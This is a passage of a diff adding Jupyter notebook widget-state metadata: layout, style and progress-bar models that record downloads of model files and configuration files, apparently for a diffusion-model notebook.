"DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9dc6d26cdb7945ffb31b2c381412a383": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9dcbc2386e3c4d6e820fd6baed91f0df": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a1ed5abc44e94c1ea19fa959fc95b91a", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7669fb4960904becb83cbdc4169a121b", + "value": 20 + } + }, + "9e9bd7cc85b04308b20943578ad51fa7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_743a58e2430947808aac30953973ec71", + "IPY_MODEL_600acc1527c4482fb7307f2d423a0a01", + "IPY_MODEL_84f1832335f44d73b6a1a588f0e79a11" + ], + "layout": "IPY_MODEL_03264d2988b849369f26e62a0a010d51" + } + }, + "9eda2eb5008b4f2d8269523ee5ce2ffe": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9ee7a0fe9750457abaf427983e5866fe": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9ef7b0ea4e4e46b18953056deaa6cf95": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9f4a6f9a897c4db0a8d92bf01f3f820c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9f7e4357439944e392d0c9e93068c898": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d923cb2715554512a7faf5b5d73a4ed8", + "max": 382, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_4399ee6304e94797ac6f36318165d4cc", + "value": 382 + } + }, + "a086d1c6722547d5be5939cf4284a1ef": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a0f1a81a8d8f4e05a26d7a0a61565c53": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a1b45d2ecbe44a158b7a0e2f818922ae": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a1ed5abc44e94c1ea19fa959fc95b91a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a207168326fd45159d8eec29ea91ccac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_848755aa7d4a4889b85870aac916c5ff", + "placeholder": "​", + "style": "IPY_MODEL_922d64656ae0415795f9e50e79d5d5f8", + "value": "Downloading model.safetensors: 100%" + } + }, + "a212be07369b404eb9f04a9cde6543d4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a218d578aded48ba8acca854622c14a9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a2630966b93643e99721ea631339d088": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6ca84bcd6bea4a92a80d50351aa1be4f", + "IPY_MODEL_d2a03fa596c34b12a1aed264e8d08077", + "IPY_MODEL_74702e35e09048eabfb470dc85fb5be4" + ], + "layout": "IPY_MODEL_4276b44c60b64716ab7ad52d8354bc1f" + } + }, + "a263feafcec44c2eab4150af170d670a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a27de7fc1bfa486f9ff8829d4d4198f6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a9a5528792504d12bf153d2b02fd3847", + "placeholder": "​", + "style": "IPY_MODEL_439ee7b8de924bf6ba5ee4ef22e0e659", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "a283d06ba73a4fc98e18e7080e794edf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_44bc01157b4945b7b81401f978dce8ca", + "max": 342, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e39e7bf535fb4492ae9ac75591e79287", + "value": 342 + } + }, + "a32f66c9b59e4ae2bca41c1c582119e7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a33e6193984b46d4bb9b4187d726009e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1c65960b291c4d92bced5bca619e8256", + "placeholder": "​", + "style": "IPY_MODEL_194f16cb7fbb42a78d9237e4e6654b58", + "value": "100%" + } + }, + "a37c136cb6c34c1ea5a66bd78c5750ae": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a3ca3b9ce6b24d43bdf8361379b6d502": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a3f598a48fa448dbb44a40c8c7af85e6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c8ce8fd6e04e416381d892fbf75a0b75", + "placeholder": "​", + "style": "IPY_MODEL_8d62ab081ff94e7abe3cc911d3376bbd", + "value": " 20/20 [00:26<00:00, 1.29s/it]" + } + }, + "a3fc1ea7dc724184ae564edeb2e755ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a526959014a644cba47969ebba62fa7c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ceb41aa2ac6c4c1982598a5085f7a977", + "IPY_MODEL_8dd1b3d2ce124d2a92d69bb1897a078e", + "IPY_MODEL_c7eafdcd51dc419c99b3248093fbfbff" + ], + "layout": "IPY_MODEL_5eca9f78607349a9893b0c88f3c53181" + } + }, + "a56166c024494356bc1b9a9e9a434c86": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a74467c946df4fe99fba1b2751a0cad1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_48dabed3f2ce465ab16a704e0c6b12f7", + "IPY_MODEL_810aba56f12342fcbcb7344d08235ec8", + "IPY_MODEL_0dc0896c330d417a8b452d27699f86bf" + ], + "layout": "IPY_MODEL_9074425e4bf04c428926f5504cd3a8de" + } + }, + "a8dcc8f3435a4870a76be1729b003b6f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a94d5d8411844431bb022813d14461c0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a97373cd0b29464dac7d2b3bfe3aa276": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_745c74b4ac1942c497d0bee51b2e7b17", + "placeholder": "​", + "style": "IPY_MODEL_89feac2a7b7d47388548f946fff4c862", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "a999af1084134026904611113b3feac6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_814f29773b6b40d99d03320a3f5fe7d4", + "IPY_MODEL_9f7e4357439944e392d0c9e93068c898", + "IPY_MODEL_8e31c3cc06bd4e9b92c3b1e6d5a9d61f" + ], + "layout": "IPY_MODEL_9dc6d26cdb7945ffb31b2c381412a383" + } + }, + "a9a5528792504d12bf153d2b02fd3847": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "aa4097be74c3412eb9571ed6ef250828": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "aa79187007a448a381f604ea8b5be0ba": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "aac46407f5d74ebbb6a58b10de9b86f4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "aafa0b9b142a44f79368f411710ea55c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ab44913ac7c44a0f89a963fddf9dba39": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "abb332369a9b4996b84d77eee7e5dc0a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + 